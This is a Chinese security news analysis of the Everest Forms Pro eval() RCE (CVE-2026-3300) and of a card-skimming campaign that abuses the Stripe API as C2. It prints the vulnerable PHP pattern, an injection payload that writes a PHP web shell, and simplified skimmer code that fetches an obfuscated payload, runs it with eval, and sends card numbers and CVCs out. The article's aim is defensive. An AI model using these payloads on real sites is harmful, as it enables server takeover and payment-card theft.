跳转到主要内容
安全资讯 原创

WordPress插件一个eval()炸穿整站:Everest Forms RCE漏洞与Stripe沦为黑客C2服务器深度解析

0 0







2026-06-06-WordPress插件一个eval炸穿整站-Everest-Forms-RCE漏洞与Stripe-沦为黑客C2服务器深度解析


WordPress插件一个eval()炸穿整站:Everest Forms RCE漏洞与Stripe沦为黑客C2服务器深度解析

导语:一个表单计算功能中的eval()调用,让攻击者无需登录即可在WordPress站点上执行任意代码,创建管理员账户、植入Web Shell——这就是CVE-2026-3300。与此同时,电商Skimmer攻击正在将Stripe的合法API当作免费的命令控制基础设施,被盗信用卡数据直接存进攻击者的Stripe账户。这两起事件共同揭示了一个残酷现实:黑客正在学会”借用”你的合法基础设施来攻击你自己。


一、一个表单字段炸穿整个网站

2026年6月5日,WordPress安全公司Wordfence发布紧急警告:威胁行为者正在积极利用Everest Forms Pro插件中的一个严重远程代码执行(RCE)漏洞,编号CVE-2026-3300,CVSS评分高达9.8分(满分10分)。

Everest Forms Pro是一款流行的WordPress表单插件,约有4000个活跃安装。漏洞影响1.9.12及以下所有版本,补丁已于2026年3月18日随1.9.13版本发布。但问题在于——大量站点至今未升级

漏洞根因:eval()的致命拥抱

漏洞出在Everest Forms Pro的”计算插件”(Calculation Addon)中。该插件提供了一个”复杂计算”功能,允许用户在表单中添加数学计算字段。

核心问题在于process_filter()函数的实现:

// 简化的漏洞代码逻辑
function process_filter($field_value) {
    // sanitize_text_field() 只过滤HTML标签,不过滤PHP代码字符!
    $value = sanitize_text_field($field_value);
    // 直接将用户输入拼接到PHP代码字符串中
    $code = "return " . $value . ";";
    // 然后丢进eval()执行
    return eval($code);
}

这里有两个致命错误:

第一,sanitize_text_field()不是安全函数。 WordPress官方文档明确指出,这个函数只移除HTML标签、删除换行符、剥离八进制字节。它不会转义单引号或其他PHP代码上下文字符。攻击者可以轻松构造包含PHP代码的字符串。

第二,eval()是PHP中最危险的函数之一。 将任何未经严格验证的用户输入传入eval(),等同于把服务器钥匙交给了陌生人。

攻击链:从表单到服务器控制

攻击者只需访问任何使用了”复杂计算”功能的表单页面,在任意字符串类型字段(文本、邮箱、URL、下拉选择、单选)中注入恶意PHP代码。无需登录,无需特殊权限。

攻击 payload 示例:

1'+file_put_contents('shell.php','<?php eval($_POST[cmd]); ?>')+'

这段代码在eval()中会被执行为:

return 1+file_put_contents('shell.php','<?php eval($_POST[cmd]); ?>')+';

成功执行后,攻击者即可:

  1. 创建流氓管理员账户——实际攻击中最常见的payload是创建名为”diksimarina”的管理员账户(邮箱:diksimarina@gmail.com)
  2. 部署Web Shell——获得持久化的远程访问能力
  3. 植入恶意脚本——进一步深入服务器,窃取数据库、安装挖矿程序等

攻击规模:超过29000次攻击尝试

根据Wordfence的监测数据:

  • 攻击从2026年4月13日开始被观察到
  • 截至报告发布,已阻止超过29,300次漏洞利用尝试
  • 最近24小时内仍有16次攻击在进行中
  • 攻击源IP包括:202.56.2.126、209.146.60.26、15.235.166.18、185.78.165.153等

这些数字表明,攻击者正在进行自动化批量扫描和攻击,任何运行了存在漏洞版本的Everest Forms Pro且使用了计算功能的WordPress站点都面临极高风险。

修复方案

如果你正在使用Everest Forms Pro:

  1. 立即升级到1.9.13或更高版本
  2. 如果暂时无法升级,禁用Calculation Addon的计算功能
  3. 检查是否存在可疑管理员账户,特别是”diksimarina”
  4. 审查服务器访问日志,查找异常的POST请求
  5. 使用Web应用防火墙(WAF)添加规则拦截可疑的表单提交

二、Stripe沦为黑客的免费C2服务器

在WordPress插件漏洞引发关注的同时,电商安全公司Sansec披露了一种更加精巧的攻击手法——将Stripe的合法API当作命令控制(C2)服务器和数据外泄通道。

攻击原理:信任的滥用

这类攻击之所以危险,是因为它利用了电商网站对特定域名的隐式信任

现代电商网站广泛使用内容安全策略(CSP)来限制页面可以加载的资源来源。而googletagmanager.comapi.stripe.com这两个域名——几乎所有电商网站都会将其列入白名单。

攻击者的策略非常巧妙:

第一步:通过Google Tag Manager注入恶意代码

攻击者通过入侵网站的GTM容器,植入一个恶意的加载器脚本。由于GTM域名本身被信任,这个脚本可以正常加载。

第二步:从Stripe账户中提取恶意载荷

加载器脚本调用Stripe的Customer API,从一个特定的客户记录(cus_TfFjAAZQNOYENR)的metadata字段中提取经过混淆的Skimmer代码。是的,攻击者把恶意代码藏在了Stripe的数据库里

第三步:在结账页面窃取信用卡数据

Skimmer代码在Magento和Adobe Commerce的结账页面上激活,捕获用户输入的信用卡号、账单信息、邮箱地址和电话号码,存储到localStorage中。

第四步:将窃取的数据回传到Stripe

被盗的信用卡信息通过Stripe API发送回攻击者的账户——每张被盗信用卡都以”客户”的形式存储在攻击者的Stripe账户中。Stripe的客服数据库变成了攻击者免费的、持久化的数据外泄存储。

// 简化的攻击逻辑
// 1. 从Stripe获取恶意代码
const customer = await fetch('https://api.stripe.com/v1/customers/cus_XXX', {
  headers: { 'Authorization': 'Bearer sk_live_XXX' }
});
const skimmerCode = customer.metadata.skimmer;

// 2. 在结账页面执行
eval(atob(skimmerCode));

// 3. 窃取数据后存入Stripe
await fetch('https://api.stripe.com/v1/customers', {
  method: 'POST',
  headers: { 'Authorization': 'Bearer sk_live_XXX' },
  body: JSON.stringify({
    email: stolenCard.email,
    metadata: { card: stolenCard.number, cvc: stolenCard.cvc }
  })
});

为什么这种攻击极难检测?

  1. 域名完全合法:所有网络请求都发送到api.stripe.com,这是正常电商流量
  2. 绕过CSP:CSP策略明确允许Stripe域名,不会触发告警
  3. 绕过网络过滤器:防火墙和IDS不会拦截发往Stripe的HTTPS请求
  4. 数据持久化:攻击者无需自建C2服务器,Stripe就是免费的数据库
  5. 攻击基础设施:该Stripe客户记录创建于2025年12月24日,意味着攻击可能已活跃超过5个月

GorgonAgora:5714个虚假.shop店铺

Sansec还披露了一个名为GorgonAgora的大规模攻击行动,该行动利用5714个虚假的.shop域名构建虚假店面网络,专门用于信用卡Skimming攻击。

此外,还发现了一个变体攻击,使用Google Firestore替代Stripe作为C2通道——同样是滥用Google的合法基础设施。


三、深层分析:基础设施武器化的新趋势

这两起事件看似不同,但共同指向一个重要的安全趋势:攻击者正在从自建恶意基础设施转向”借用”合法云服务

传统攻击模式 vs 新型攻击模式

维度 传统模式 新型模式
C2服务器 自建VPS/租用服务器 Stripe/Firestore/GTM
恶意代码托管 黑客论坛/暗网 合法SaaS平台的metadata字段
数据外泄通道 自建服务器/暗网市场 合法API接口
检测难度 中等(可疑IP/域名) 极高(完全合法流量)
关停难度 低(封禁IP/域名) 极高(需平台配合)

对企业的启示

  1. 插件安全是WordPress的生命线——一个eval()调用就可以摧毁整个站点。选择插件时要审查其安全记录,定期更新是底线要求。

  2. 信任的白名单需要更精细的控制——不能因为Stripe是合法服务就无条件信任所有发往它的请求。需要监控API调用的频率、目标和数据量。

  3. 第三方脚本是最大的盲区——GTM、Stripe、分析工具等第三方脚本拥有访问页面所有内容的权限,一旦被入侵,影响范围极大。

  4. 纵深防御是唯一出路——不能依赖单一的安全层。WAF、CSP、运行时监控、定期安全审计需要多层配合。


四、行动建议

如果你运营WordPress站点

  • 立即检查是否使用Everest Forms Pro,版本是否低于1.9.13
  • 全面审查已安装插件中是否存在可疑管理员账户
  • 部署Web应用防火墙,监控异常表单提交
  • 建立插件更新机制,确保安全补丁及时应用

如果你运营电商网站

  • 审查GTM容器配置,确保没有被篡改
  • 监控前端JavaScript的变更,特别是结账页面
  • 实施子资源完整性(SRI)校验
  • 对发往Stripe等第三方API的请求进行异常流量分析
  • 考虑使用客户端安全监控工具检测DOM篡改行为

对安全团队的建议

  • 将”合法服务滥用”纳入威胁模型
  • 在SOC中建立对合法API异常行为的检测规则
  • 关注SaaS平台的metadata字段是否被滥用
  • 定期进行供应链安全评估

结语:从WordPress的一个eval()到Stripe API的”免费C2”,这两起事件告诉我们一个道理——在安全领域,最危险的攻击往往不是来自未知威胁,而是来自对已知事物的盲目信任。你的表单、你的支付网关、你的分析工具,都可能成为攻击者的跳板。安全不是一堵墙,而是一个持续验证的过程。


参考来源:Wordfence: Attackers Actively Exploiting Critical Vulnerability in Everest Forms Pro PluginSansec: Stripe API Skimmer InfrastructureSansec: GorgonAgora Fake Storefront Skimming NetworkThe Hacker News, 2026-06-05